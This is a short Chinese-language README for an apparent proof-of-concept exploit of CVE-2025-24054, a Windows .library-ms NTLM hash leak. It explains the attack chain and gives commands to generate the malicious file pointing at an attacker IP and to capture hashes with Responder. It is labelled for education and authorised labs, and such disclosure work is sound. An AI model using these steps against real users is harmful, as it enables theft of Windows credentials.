CVE-2025-24054 PoC

一个简单的 CVE-2025-24054 概念验证 – Windows 库 (.library-ms) NTLM 哈希泄露漏洞。

⚠️ 仅限教育和授权实验室使用

---

描述

CVE-2025-24054 允许攻击者通过使用特制的 .library-ms 文件，强制 Windows 系统泄露受害者的 Net-NTLMv2 哈希。

当受害者解压包含恶意 .library-ms 文件的 ZIP 时，Windows 资源管理器会自动发起 SMB 连接，泄露 NTLM 哈希。

工作原理

1. 攻击者生成一个包含指向其机器的 UNC 路径的恶意 .library-ms 文件。
2. 该文件被放置在 ZIP 压缩包中交付。
3. 受害者解压 ZIP 文件。
4. Windows 资源管理器自动尝试加载该库，触发 NTLM 身份验证请求。
5. 攻击者使用 Responder 捕获 Net-NTLMv2 哈希。

1. 使用方法

python poc.py -i YOUR-IP

2. 启动 Responder（攻击者机器）

sudo responder -I eth0